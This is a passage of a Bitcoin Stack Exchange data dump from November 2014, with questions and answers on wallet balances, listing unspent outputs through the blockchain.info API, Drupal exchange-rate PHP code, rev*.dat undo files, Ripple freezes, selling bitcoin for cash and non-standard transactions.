wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit]:&#xA;Might also help the output of &lt;code&gt;Wallet.toString&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Wallet containing 22.43822671 BTC (available: 8.94106037 BTC) in:&#xA;  5 pending transactions&#xA;  79 unspent transactions&#xA;  390 spent transactions&#xA;  0 dead transactions&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this also answers to Nick question that I am not scrambling numbers while converting the BigInteger.&lt;/p&gt;&#xA;" OwnerUserId="19205" LastEditorUserId="19205" LastEditDate="2014-11-25T06:57:38.697" LastActivityDate="2014-11-25T06:57:38.697" Title="BitcoinJ seems to be calculating balance incorrectly" Tags="|bitcoinj|balance|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32706" PostTypeId="1" CreationDate="2014-11-25T08:42:45.860" Score="-1" ViewCount="73" Body="&lt;p&gt;I'd like to write a simple Bitcoin client that broadcast transactions. The model is pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Alice wants to send 10 BTC to Bob. We &lt;strong&gt;only&lt;/strong&gt; know Alice's private key and Bob's address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For making the transaction, I need to collect enough Alice's previous transactions up to 10 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the &lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;Blockchain Data API&lt;/a&gt;, that can be queried using Alice's address (which I can derive from Alice's private key, which is known by the client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I &lt;code&gt;GET&lt;/code&gt; the API above using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -L http://blockchain.info/address/&amp;lt;Alice's address&amp;gt;?format=json&amp;amp;sort=&amp;lt;[01]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll be returned with a JSON containing the whole list of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should  I use this result for collecting all the Alice's transactions that can be used in a newer transaction?&lt;/p&gt;&#xA;" OwnerUserId="19493" LastEditorUserId="2306" LastEditDate="2014-11-25T17:56:13.903" LastActivityDate="2014-11-25T17:56:13.903" Title="Get a list of txs that can be used for a newer tx" Tags="|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32709" PostTypeId="2" ParentId="32649" CreationDate="2014-11-25T13:21:20.803" Score="1" Body="&lt;p&gt;There is nothing you can do to speed this process up unless you are running a local copy of bitcoind or btcd to be able to query the blockchain yourself using JSON-RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not much of an answer, but unless you can give more specifics, I can't really advise further.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5157" LastEditDate="2014-11-26T10:36:51.807" LastActivityDate="2014-11-26T10:36:51.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32710" PostTypeId="2" ParentId="32534" CreationDate="2014-11-25T13:25:39.590" Score="1" Body="&lt;p&gt;Coins can &quot;appear to be there&quot; in unconfirmed status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely that this transaction never confirmed, and whilst you may have thought that you had the coins, in reality you did not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless there has been a hardfork of the PMP blockchain of some kind, all the evidence would suggest that you never had these coins in the first place. Sorry.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-11-25T13:25:39.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32711" PostTypeId="2" ParentId="32703" CreationDate="2014-11-25T15:01:35.590" Score="1" Body="&lt;p&gt;As Doug said in the question comments (posted here as an answer by his request):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If there is at least 1 conf by the network, a race-based double-spending attack is not possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Therefore the attack he describes is a fork-based double spend similar to his questions &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32635/json-rpc-to-detect-double-spent-txs&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32678/how-to-recover-from-a-double-spending-attack&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-11-25T15:01:35.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32712" PostTypeId="2" ParentId="32706" CreationDate="2014-11-25T17:08:05.690" Score="1" Body="&lt;p&gt;You will want to use the listunspent call from the blockchain.info API&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/unspent?active=&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/unspent?active=&lt;/a&gt;$address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a list of all unspent outputs at that address which are available to be used in a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then need to build a raw transaction to spend those outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-11-25T17:08:05.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32713" PostTypeId="2" ParentId="32026" CreationDate="2014-11-25T19:11:36.093" Score="1" Body="&lt;p&gt;Yes you can. Although it is discouraged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the following in your bitcoin.conf file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;changeaddress=yournewchangeaddress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have a real need to keep the address count in your wallet low than you shouldnt use this as it opens up security risks and destroys anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be using a new address for every transaction you make. &lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-11-25T19:11:36.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32714" PostTypeId="1" CreationDate="2014-11-25T19:13:36.317" Score="0" ViewCount="179" Body="&lt;p&gt;I need a simple hack to change the Drupal &lt;code&gt;uc_bitcoin&lt;/code&gt; modules code so it gets the exchange rate from Coinbase, it is designed to use MtGox. I want to avoid using the entire coinbase API because I just want the exchange rate, not the kitchen sink. There is a lot of documentation there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found the code in the &lt;code&gt;uc_bitcoin&lt;/code&gt; drupal module which gets the information from MtGox. It needs some simple changes so it gets this data from Coinbase. Since both are so different, and I'm not fluent with PHP I thought someone might be able to help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code which gets the exchange rate from MtGox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function uc_bitcoin_exchange_rate($order) {&#xA;&#xA;  static $rate;&#xA;&#xA;  if(isset($rate)) {&#xA;    return $rate;&#xA;  }&#xA;&#xA;  if ($order-&amp;gt;currency == 'BTC') {&#xA;    // BTC 1:1&#xA;    return 1;&#xA;  }&#xA;&#xA;  // Supported MtGox currencies, Dec 15 2012&#xA;  $mtGox_currencies = array(&#xA;    'USD',&#xA;    'EUR',&#xA;    'JPY',&#xA;    'CAD',&#xA;    'GBP',&#xA;    'CHF',&#xA;    'RUB',&#xA;    'AUD',&#xA;    'SEK',&#xA;    'DKK',&#xA;    'HKD',&#xA;    'PLN',&#xA;    'CNY',&#xA;    'SGD',&#xA;    'THB',&#xA;    'NZD',&#xA;    'NOK'&#xA;  );&#xA;&#xA;  // @todo add cache&#xA;  if (in_array($order-&amp;gt;currency, $mtGox_currencies)) {&#xA;    if ($response = drupal_http_request('https://data.mtgox.com/api/1/BTC' . $order-&amp;gt;currency . '/ticker')) { &#xA;      if ($response-&amp;gt;code == 200) {&#xA;        $data = json_decode($response-&amp;gt;data);&#xA;        if(!empty($data-&amp;gt;return-&amp;gt;avg-&amp;gt;value)) {&#xA;          $rate = $data-&amp;gt;return-&amp;gt;avg-&amp;gt;value;&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;&#xA;// @todo add cache&#xA;  if (in_array($order-&amp;gt;currency, $mtGox_currencies)) {&#xA;    if ($response = drupal_http_request('https://data.mtgox.com/api/1/BTC' . $order-&amp;gt;currency . '/ticker')) { &#xA;      if ($response-&amp;gt;code == 200) {&#xA;        $data = json_decode($response-&amp;gt;data);&#xA;        if(!empty($data-&amp;gt;return-&amp;gt;avg-&amp;gt;value)) {&#xA;          $rate = $data-&amp;gt;return-&amp;gt;avg-&amp;gt;value;&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;&#xA;  if (!$rate || !is_numeric($rate)) {&#xA;    watchdog('uc_bitcoin', 'MtGox lookup - Unable to get current exchange rate', WATCHDOG_ERROR);&#xA;    $rate = FALSE; // just to be super sure.&#xA;  }&#xA;&#xA;  return $rate;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5983" LastActivityDate="2022-01-07T13:36:17.127" Title="using coinbase with uc_bitcoin drupal module" Tags="|exchange-rate|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32715" PostTypeId="2" ParentId="32714" CreationDate="2014-11-25T19:49:15.747" Score="1" Body="&lt;p&gt;I'm not terribly familiar with drupal, and I've never used the module you're talking about, but I'll take a shot at it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function uc_bitcoin_exchange_rate($order) {&#xA;  static $data;&#xA;  $rate = FALSE;&#xA;  $currency = $order-&amp;gt;currency;&#xA;  $currency_code = 'btc_to_' . strtolower($currency);&#xA;&#xA;  if ($currency == 'BTC') {&#xA;    // BTC 1:1&#xA;    return 1;&#xA;  }&#xA;  if (!isset($data) {&#xA;    if ($response = drupal_http_request('https://api.coinbase.com/v1/currencies/exchange_rates')) {&#xA;      if ($response-&amp;gt;code == 200) {&#xA;        $data = json_decode($response-&amp;gt;data);&#xA;        $rate = $data[$currency_code];&#xA;      }&#xA;    }&#xA;  }&#xA;&#xA;  if (!is_numeric($rate)) {&#xA;    watchdog('uc_bitcoin', 'CoinBase lookup - Unable to get current exchange rate', WATCHDOG_ERROR);&#xA;    $rate = FALSE; // just to be super sure.&#xA;  }&#xA;&#xA;  return $rate;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-25T19:55:27.033" LastActivityDate="2014-11-25T19:55:27.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32716" PostTypeId="1" AcceptedAnswerId="32723" CreationDate="2014-11-25T20:05:47.260" Score="5" ViewCount="2315" Body="&lt;p&gt;I've been looking at the on disk structured generated by the standard bitcoin-qt client. It looks to me that the rev?????.dat files are reverse application for blocks? So I imagine every single spent output is added to the reverse dat, so that they can be applied directly to the unspent pool during a rewind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is stored, and what is the format? &lt;/p&gt;&#xA;" OwnerUserId="17055" LastEditorUserId="121614" LastEditDate="2023-04-27T15:07:26.830" LastActivityDate="2023-04-27T15:07:26.830" Title="What exactly are the rev00000.dat files?" Tags="|bitcoin-core|undofiles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32717" PostTypeId="5" CreationDate="2014-11-25T21:08:29.110" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-25T21:08:29.110" LastActivityDate="2014-11-25T21:08:29.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32718" PostTypeId="4" CreationDate="2014-11-25T21:08:29.110" Score="0" Body="The rev*.dat files contain data needed to put the Bitcoin blockchain back to an earlier state. This is important for reorganizations." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-25T21:08:29.110" LastActivityDate="2014-11-25T21:08:29.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32719" PostTypeId="1" CreationDate="2014-11-25T22:02:14.960" Score="2" ViewCount="207" Body="&lt;p&gt;I am trying to send BTC with Armory. Everything works just fine until I have to hit the &quot;send&quot;-button. Then it just does nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had this problem before (I had even posted it here) and solved it by clicking the same button a billion times. Now this isn't helping anymore. I am using 0.92-3 beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wlzn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21284" LastActivityDate="2014-11-26T11:56:26.357" Title="Armory &quot;send&quot; button is not reacting" Tags="|armory|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32720" PostTypeId="1" AcceptedAnswerId="32727" CreationDate="2014-11-25T22:44:16.833" Score="3" ViewCount="257" Body="&lt;p&gt;I heard a few months back that Ripple enabled users to set their account to block other accounts from holding their IOUs. A feature probably aimed at Gateways to be able to freeze balances of blocked users and so forth. I am wondering, is there a documentation and a step-by-step guide for this functionality available anywhere?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2014-11-25T23:00:09.417" LastActivityDate="2014-11-26T06:12:16.750" Title="How to block a Ripple account from a Gateway's perspective?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32722" PostTypeId="2" ParentId="32626" CreationDate="2014-11-26T00:46:24.320" Score="2" Body="&lt;p&gt;I remmeber there was BitcoinTalkCoin - the one with BCC ticker, in fact there were few sharing the same idea). They successfully &quot;airdropped&quot; the coins to BTT users, registered before the coin anouncement. I received some myself :) although it was pennies, you can say that the mission was accomplished.&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2014-11-26T00:46:24.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32723" PostTypeId="2" ParentId="32716" CreationDate="2014-11-26T00:47:55.800" Score="3" Body="&lt;p&gt;Indeed, you can consider transactions to be 'patches' against the set of unspent outputs (the UTXO set): they consume some outputs, and they create some new outputs. Blocks are aggregated patches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And indeed, to be able to undo the effects of a block on the UTXO set, a record with the reverse patch is written to the rev*.dat files (corresponding to the blocks in the same blk*.dat file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format is custom and very compact. For every transaction input (excluding the coinbase's, which does not spend anything) it contains the script and amount of the output being spent and whether it was created by a coinbase. If the output was the last of a particular transaction being spent, the transaction version and height in the chain it was created at are also stored.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-11-26T00:47:55.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32724" PostTypeId="2" ParentId="32501" CreationDate="2014-11-26T00:55:15.727" Score="0" Body="&lt;p&gt;I believe the best solution will to use in-game currency (in fact many MMO games have such), that can be withdrawn to bitcoins, just like online casinos are cashing out their chips. &lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2014-11-26T00:55:15.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32725" PostTypeId="2" ParentId="30569" CreationDate="2014-11-26T01:00:20.013" Score="1" Body="&lt;p&gt;It's easy to transfer cryptocurrencies between exchanges, but there is no way to transfer USD without withdrawing to your bank account or some kind of e-wallet first. All exchanges I've seen do not allow withdrawals to third parties.&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2014-11-26T01:00:20.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32727" PostTypeId="2" ParentId="32720" CreationDate="2014-11-26T06:12:16.750" Score="2" Body="&lt;p&gt;You seem to start out describing the &quot;Authorized Accounts&quot; feature of Ripple, but then you then pivot to freezing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authorized accounts which allows an issuer to explicitly approve which accounts may hold his issuances. The feature is described here: &lt;a href=&quot;https://wiki.ripple.com/Authorized_accounts&quot; rel=&quot;nofollow&quot;&gt;https://wiki.ripple.com/Authorized_accounts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;freeze&quot; feature Ripple allows issuers either globally freeze all their issued funds or to freeze funds issued to a particular user. Frozen funds may only be sent back to the issuer. The feature is described here: &#xA;&lt;a href=&quot;https://wiki.ripple.com/Freeze&quot; rel=&quot;nofollow&quot;&gt;https://wiki.ripple.com/Freeze&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-26T06:12:16.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32730" PostTypeId="1" AcceptedAnswerId="32737" CreationDate="2014-11-26T12:45:11.050" Score="1" ViewCount="1961" Body="&lt;p&gt;I have read several articles about how Bitcoin have an intrinsic value. Aside from the fact that some of those articles confuse &quot;intrinsic value&quot; with &quot;benefits of adoption&quot;, I found that none of them could prove that Bitcoin is actually money and not a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take this example, if I take my Bitcoin from the US to Yemen, it would be the equivalent of taking absolutely nothing to Yemen. Why is that, you ask?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Yemen has no Bitcoin bank/supplier/merchants, no one cares about Bitcoin. Now, if I take Gold to &lt;em&gt;anywhere&lt;/em&gt; on Earth, people will take that. In the case of Gold, the supply is limited but the demand is unlimited (everyone accepts it) for two reasons. One reason is that Gold is money in itself (if the country uses Gold standard, which I don't recall any that does), and two, is because even if Gold is not money in the country, it's still a commodity to be sold to get money!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Gold indeed has a value just for being Gold! Bitcoin is a supply and demand currency, which Bitcoin.org clearly states (&quot;The price of a bitcoin is determined by supply and demand&quot;), yet they also say &quot;Much of the trust in Bitcoin comes from the fact that it requires no trust at all&quot;, that's illogical as it's dependent on the demand of people which varies by location, i.e. you need to trust that that place has a Bitcoin bank! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people of that country don't have Bitcoin bank, then that immediately means that Bitcoin value is almost 0 in that country. If Bitcoin's value is zero, no bank would want to spend money to build a branch there. So it's more like fiat currency!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't go very far with a Dollar in the country that doesn't have its currency tied to Dollar (even though I don't recall any that doesn't, except the Islamic State, which recently announced Gold and Silver money). This proves several things, that Bitcoin is a currency, that it's dependent on the demand (specifically the location of the market), and thus, that, very much, takes the &quot;universality&quot; it's so much praised for when people talk about how you can make international transfers so easily. You really can; but the problem is that you probably wouldn't do so to most countries that actually need that capability; due to the nature of those countries and the lack of a Bitcoin bank. The only reason why one might want to get Bitcoin in countries where no Bitcoin bank exists, is to buy stuff online. But then again, this has never been the main problem. Credit Cards have solved this for a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess the question is, does Bitcoin have an intrinsic value (is it money) or does Bitcoin have &quot;location value&quot;/trust value (is it a currency)?&lt;/p&gt;&#xA;" OwnerUserId="21293" LastEditorUserId="21293" LastEditDate="2014-11-27T14:27:59.393" LastActivityDate="2017-01-10T04:15:11.293" Title="How does Bitcoin have an intrinsic value?" Tags="|value|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32731" PostTypeId="1" CreationDate="2014-11-26T13:11:22.213" Score="0" ViewCount="51827" Body="&lt;p&gt;I'm asking about how to turn bitcoins into cash (USD or EURO) that you hold in your hands, so I can use it in real life not on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a credit card, and I'm in a country (IRAQ) where banking services aren't so profound and people don't use credit cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do this?&lt;/p&gt;&#xA;" OwnerUserId="21295" LastEditorUserId="5406" LastEditDate="2017-07-02T23:04:52.580" LastActivityDate="2018-02-06T15:18:59.227" Title="How to sell bitcoins for cash money?" Tags="|trading|sell-bitcoins|cash|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32732" PostTypeId="2" ParentId="32730" CreationDate="2014-11-26T13:25:04.047" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Because Yemen has no Bitcoin bank/supplier/merchants.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If Yemen would not have any gold suppliers/merchants, gold would also have no value, other than being a paper weight. Only because you 'trust' someone else will accept gold as a form of payment, gold has value for you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...if I take my Bitcoin from the US to Yemen...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The bitcoins would still be worth the same amount of USD as they would in the USA, since Bitcoin is a digital commodity. (You cannot move it.) Using / sending / accepting bitcoin is not limited to any country (or planet...) so you could still trade your bitcoin for fiat currency in Yemen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As long as you have an internet connection...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: If you directly want to buy something in a store in Yemen, you'll have to look for a store owner that accepts bitcoins. The human factor is the limiting factor here, not bitcoin as a protocol / way of sending value from one place to another.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No one cares about Bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just because a large group of people does not care about it, does not make all of 'us' not care about it. You obviously care enough to ask this question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now, if I take Gold to anywhere on Earth, people will take that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is this any different than bitcoin? It does not matter where on earth you are, right now and in the foreseeable future there will still be people accepting your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if the country uses Gold reserves, which I don't recall any that does&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Netherlands (De Nederlandsche Bank / DNB) still do. You can't actually walk into the bank and ask for a ten euro note to be exchanged for a portion of gold. (The DNB bank is actually only a bank for banks.) So it is not exchangeable in that way. A bank however does need to have 'proof' of insolvency, so that's why they still carry gold. Most Dutch consumer banks (ABN Amro / ING / RABO Bank) don't actually hold gold anymore, they now have a database in some basement that says they are worth an x amount of money. They exchange money with the DNB and all of this is done digitally, so the gold is pretty much out of use nowadays.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So Gold indeed has a value just for being Gold! Bitcoin is a supply and demand currency&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Gold has value, just because it has value? Wrong. It is a supply and demand product. It also has a value that fluctuates up and down. Yes, bitcoin has a supply and demand. Today it might be worth more than it will tomorrow, but gold and bitcoin have the same amount of value for just being gold and bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So I guess the question is, does Bitcoin have an intrinsic value (is it money) or does Bitcoin have &quot;location value&quot;/trust value (is it a currency)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is not money, it is like gold, except you can't actually touch it.&#xA;It is not a currency in most countries, since most countries state that a currency is only a currency, when it is backed by the government of that country. (In the Netherlands, being a currency also means a merchant cannot decline this form of payment. I do not possess enough knowledge of other countries to imply knowing how it works there.)&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="21294" LastEditDate="2014-11-26T14:27:50.450" LastActivityDate="2014-11-26T14:27:50.450" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32733" PostTypeId="2" ParentId="32731" CreationDate="2014-11-26T13:56:37.167" Score="2" Body="&lt;p&gt;The only way to exchange Bitcoin for cash is to find someone willing to trade. In person, this can be slightly inconvenient, since verifying that the Bitcoin have been received involves waiting for confirmations from the Bitcoin network. This is true even if you exchange Bitcoin by sharing the private key to your Bitcoin address, since the recipient will still have to transfer the associated Bitcoin to be assured that nobody else has access to them. One way of possibly finding someone willing to trade is to attend a Bitcoin meeting or conference; at least I suspect that those attract enough people interested in buying more Bitcoin at a fair price that you could find someone willing to trade with you for cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of websites aimed at helping you find buyers or sellers of Bitcoin locally or online, ranging from classified ads, possibly including Bitcoin escrow, all the way to broker-like exchanges that may not even inform you of whom they matched you with for trading (but that will then typically require deposits, often through bank transfers). Especially on the extreme of classified ads, using them will typically not require you to have any banking. However, with Bitcoin users in Iraq being apparently even fewer than elsewhere in the Middle East, it is unclear if this will help you beyond giving you the opportunity to make yourself more visible to anyone who might one day become interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you do trade Bitcoin in person without an established business as an intermediary, please make a conscious decision about how you do it. Apart from the possibility of fraud and disputes---what will you do if, after sending the Bitcoin, the other party claims to never have agreed to handing over money for it?---there is the question of what laws you may have to observe. In trading the private money or whatever your jurisdiction considers virtual currencies without any financial institution, you are doing something that does not necessarily fit into whatever laws, rules, written or unwritten, exist in surprisingly broad contexts. Don't by mistake set yourself up to be framed as a bad guy.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2015-01-30T16:09:27.083" LastActivityDate="2015-01-30T16:09:27.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32734" PostTypeId="1" AcceptedAnswerId="32735" CreationDate="2014-11-26T14:53:51.033" Score="2" ViewCount="695" Body="&lt;p&gt;As I understand it, &lt;a href=&quot;http://eligius.st/%7Egateway/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eligius&lt;/a&gt; is the only miner pool accepting non-standard transactions.&lt;/p&gt;&#xA;&lt;p&gt;The Opcodes for the scripts are &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&#xA;Some use cases for non-standard transactions can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;My Question:&lt;/h3&gt;&#xA;&lt;p&gt;If I pay some Bitcoins to a non-standard pubkey script mined and accepted by Eligius, can these BTCs be redeemed by a non-standard redeem script (also mined at Eligius) or are these BTCs just lost forever?&lt;/p&gt;&#xA;" OwnerUserId="21297" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-25T21:07:32.173" Title="Redeem bitcoins of non-standard transactions made with eligius" Tags="|transactions|script|non-standard-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32735" PostTypeId="2" ParentId="32734" CreationDate="2014-11-26T15:16:41.250" Score="2" Body="&lt;p&gt;Yes, if you pay bitcoins to a non-standard pubkey script, you can spend them in a later signature script using Eligius.  But there are some conditions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The pubkey script must be spendable.  For example, a pubkey script starting with &lt;code&gt;OP_RETURN&lt;/code&gt; can never be spent.  It's up to you to craft your non-standard script to make it spendable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Eligius will only mine valid transactions.  For example, you can't have a data push of more than 520 bytes in either the pubkey or signature script.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The IsStandard() checks check more than just op codes---they also require minimum network fees (to avoid &quot;dust&quot; spam) and correct transaction version numbers.  Eligius still includes these parts of the IsStandard() checks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Eligius has its own minimum fee for non-standard transactions: 0.00004096 BTC per 512 bytes according to &lt;a href=&quot;http://eligius.st/~gateway/faq-page/faq-5&quot; rel=&quot;nofollow&quot;&gt;their FAQ&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you're going to send custom transactions, I highly recommend that you test them on &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Testnet&lt;/a&gt; first.  (Testnet allows non-standard transactions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that Bitcoin Core 0.10 will likely &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/62599373883a66a958136f48ab0e2b826e3d5bf8&quot; rel=&quot;nofollow&quot;&gt;relax the IsStandard() rules&lt;/a&gt; for P2SH, making it possible to use pretty much any script you want as long as you wrap it inside P2SH.  (That won't help you now, but it's a good thing to consider when developing your script.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="12034" LastEditDate="2014-11-26T19:30:18.247" LastActivityDate="2014-11-26T19:30:18.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
